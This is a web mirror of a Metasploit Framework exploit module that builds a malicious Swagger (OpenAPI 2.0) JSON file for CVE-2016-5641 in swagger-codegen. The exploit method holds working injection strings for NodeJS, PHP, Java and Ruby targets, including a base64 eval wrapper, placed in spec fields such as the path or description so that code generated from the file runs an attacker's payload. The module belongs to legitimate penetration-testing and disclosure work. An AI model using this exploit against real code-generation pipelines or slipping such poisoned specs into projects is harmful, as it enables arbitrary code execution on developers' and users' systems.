Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/fileformat/swagger_param_inject.rb
19566 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
#
7
# Gems
8
#
9
require 'base64'
10
11
#
12
# Project
13
#
14
15
class MetasploitModule < Msf::Exploit::Remote
16
Rank = ExcellentRanking
17
18
include Msf::Exploit::FILEFORMAT
19
20
def initialize(info = {})
21
super(
22
update_info(
23
info,
24
'Name' => 'JSON Swagger CodeGen Parameter Injector',
25
'Description' => %q{
26
This module generates an Open API Specification 2.0 (Swagger) compliant
27
json document that includes payload insertion points in parameters.
28
29
In order for the payload to be executed, an attacker must convince
30
someone to generate code from a specially modified swagger.json file
31
within a vulnerable swagger-codgen appliance/container/api/service,
32
and then to execute that generated code (or include it into software
33
which will later be executed by another victim). By doing so, an
34
attacker can execute arbitrary code as the victim user. The same
35
vulnerability exists in the YAML format.
36
},
37
'License' => MSF_LICENSE,
38
'Author' => [
39
'ethersnowman <[email protected]>'
40
],
41
'References' => [
42
[ 'CVE', '2016-5641' ],
43
[ 'URL', 'http://github.com/swagger-api/swagger-codegen' ],
44
[ 'URL', 'https://www.rapid7.com/blog/post/2016/06/23/r7-2016-06-remote-code-execution-via-swagger-parameter-injection-cve-2016-5641' ]
45
],
46
'Platform' => %w{nodejs php java ruby},
47
'Arch' => [ ARCH_NODEJS, ARCH_PHP, ARCH_JAVA, ARCH_RUBY ],
48
'Targets' => [
49
['NodeJS', { 'Platform' => 'nodejs', 'Arch' => ARCH_NODEJS } ],
50
['PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP } ],
51
['Java JSP', { 'Platform' => 'unix', 'Arch' => ARCH_JAVA } ],
52
['Ruby', { 'Platform' => 'ruby', 'Arch' => ARCH_RUBY } ]
53
],
54
'DisclosureDate' => '2016-06-23',
55
'DefaultTarget' => 0,
56
'Notes' => {
57
'Reliability' => UNKNOWN_RELIABILITY,
58
'Stability' => UNKNOWN_STABILITY,
59
'SideEffects' => UNKNOWN_SIDE_EFFECTS
60
}
61
)
62
)
63
64
register_options(
65
[
66
OptString.new('FILENAME', [false, 'The file to write.', 'msf-swagger.json']),
67
OptString.new('INFO_DESCRIPTION', [true, 'Swagger info description', 'A']),
68
OptString.new('INFO_VERSION', [true, 'Swagger info version.', '1.0.0']),
69
OptString.new('INFO_TITLE', [true, 'Swagger info title.', 'C']),
70
OptEnum.new('SWAGGER_SCHEME', [true, 'Protocol scheme', 'http', ['http', 'https', 'ws', 'wss']]),
71
OptString.new('SWAGGER_HOST', [true, 'a valid hostname or IPv4']),
72
OptString.new('BASE_PATH', [true, 'The root path of API on host.', '/']),
73
OptString.new('PATH', [true, 'Path of request/response on root path.', '/a']),
74
OptString.new('PATH_DESCRIPTION', [true, 'Description of a path request object', 'D']),
75
OptString.new('PATH_RESPONSE_DESCRIPTION', [true, 'Description of a path response object', 'E']),
76
OptString.new('DEFINITION_DESCRIPTION', [true, 'Description of an object definition.', 'F'])
77
]
78
)
79
end
80
81
def swagger
82
%Q(
83
{
84
"swagger": "2.0",
85
"info": {
86
"description": "#{datastore['INFO_DESCRIPTION']}",
87
"version": "#{datastore['INFO_VERSION']}",
88
"title": "#{datastore['INFO_TITLE']}"
89
},
90
"schemes": [
91
"#{datastore['SWAGGER_SCHEME']}"
92
],
93
"host": "#{datastore['SWAGGER_HOST']}",
94
"basePath": "#{datastore['BASE_PATH']}",
95
"produces": [
96
"application/json"
97
],
98
"consumes": [
99
"application/json"
100
],
101
"paths": {
102
"#{datastore['PATH']}": {
103
"get": {
104
"description": "#{datastore['PATH_DESCRIPTION']}",
105
"responses": {
106
"200": {
107
"description": "#{datastore['PATH_RESPONSE_DESCRIPTION']}",
108
"schema": {
109
"$ref": "#/definitions/d"
110
}
111
}
112
}
113
}
114
}
115
},
116
"definitions": {
117
"d": {
118
"type": "object",
119
"description": "#{datastore['DEFINITION_DESCRIPTION']}",
120
"properties": {
121
"id": {
122
"type": "integer",
123
"format": "int64"
124
}
125
}
126
}
127
}
128
}
129
)
130
end
131
132
def exploit
133
case payload.arch[0]
134
when 'nodejs'
135
payload_loc = 'PATH'
136
payload_prefix = "/a');};};return exports;}));"
137
payload_suffix = "(function(){}(this,function(){a=function(){b=function(){new Array('"
138
wrapped_payload = payload_prefix + payload.encoded.gsub(/"/, '\\"') + payload_suffix
139
when 'php'
140
payload_loc = 'INFO_DESCRIPTION'
141
payload_prefix = "*/ namespace foobar; eval(base64_decode('"
142
payload_suffix = "')); /*"
143
wrapped_payload = payload_prefix +
144
Base64.strict_encode64(payload.encoded) +
145
payload_suffix
146
when 'ruby'
147
payload_loc = 'INFO_TITLE'
148
payload_prefix = "=end "
149
payload_suffix = "=begin "
150
wrapped_payload = payload_prefix + payload.encoded + payload_suffix
151
when 'java'
152
payload_loc = 'PATH'
153
payload_prefix = %q{a\\\"; "}
154
p = payload.encoded.gsub(/<%@page import="/, 'import ')
155
p = p.gsub(/\"%>/, ';').gsub(/<%/, '').gsub(/%>/, '')
156
p = p.gsub(/"/, '\\"').gsub(/\n/, ' ')
157
wrapped_payload = payload_prefix + p
158
else
159
raise IncompatiblePayloadError.new(datastore['PAYLOAD'])
160
end
161
162
datastore[payload_loc] = wrapped_payload
163
164
print_status swagger
165
file_create swagger
166
end
167
end
168
169